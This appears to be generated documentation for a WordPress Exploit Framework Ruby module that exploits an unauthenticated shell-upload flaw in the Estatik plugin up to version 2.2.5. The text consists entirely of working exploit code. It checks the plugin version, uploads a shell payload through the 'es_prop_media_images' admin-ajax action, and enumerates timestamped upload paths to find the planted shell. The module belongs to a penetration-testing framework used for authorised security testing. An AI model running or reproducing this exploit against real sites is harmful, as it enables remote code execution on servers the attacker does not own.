class Wpxf::Exploit::EstatikV225ShellUpload

Public Class Methods

new() click to toggle source
Calls superclass method Wpxf::WordPress::ShellUpload::new
# File lib/wpxf/modules/exploit/shell/estatik_v2.2.5_shell_upload.rb, line 6
def initialize
  super

  update_info(
    name: 'Estatik <= 2.2.5 Unauthenticated Shell Upload',
    author: [
      'White Fir Design', # Discovery and disclosure
      'rastating'         # WPXF module
    ],
    references: [
      ['WPVDB', '8593'],
      ['URL', 'https://estatik.net/estatik-released-security-updates/']
    ],
    date: 'Aug 14 2016'
  )
end

Public Instance Methods

check() click to toggle source
# File lib/wpxf/modules/exploit/shell/estatik_v2.2.5_shell_upload.rb, line 23
def check
  check_plugin_version_from_changelog('estatik', 'readme.txt', '2.3.0')
end
expected_upload_response_code() click to toggle source
# File lib/wpxf/modules/exploit/shell/estatik_v2.2.5_shell_upload.rb, line 39
def expected_upload_response_code
  500
end
payload_body_builder() click to toggle source
# File lib/wpxf/modules/exploit/shell/estatik_v2.2.5_shell_upload.rb, line 31
def payload_body_builder
  @start_timestamp = Time.now.to_i
  builder = Utility::BodyBuilder.new
  builder.add_field('action', 'es_prop_media_images')
  builder.add_file_from_string('es_media_images[]', payload.encoded, payload_name)
  builder
end
possible_payload_upload_locations() click to toggle source
# File lib/wpxf/modules/exploit/shell/estatik_v2.2.5_shell_upload.rb, line 43
def possible_payload_upload_locations
  locations = []
  base_upload_uri = normalize_uri(wordpress_url_uploads, Time.now.strftime('%Y'), Time.now.strftime('%m'))

  upload_timestamp_range.each do |timestamp|
    locations.push(normalize_uri(base_upload_uri, "#{timestamp}_#{payload_name}"))
  end

  locations
end
uploader_url() click to toggle source
# File lib/wpxf/modules/exploit/shell/estatik_v2.2.5_shell_upload.rb, line 27
def uploader_url
  wordpress_url_admin_ajax
end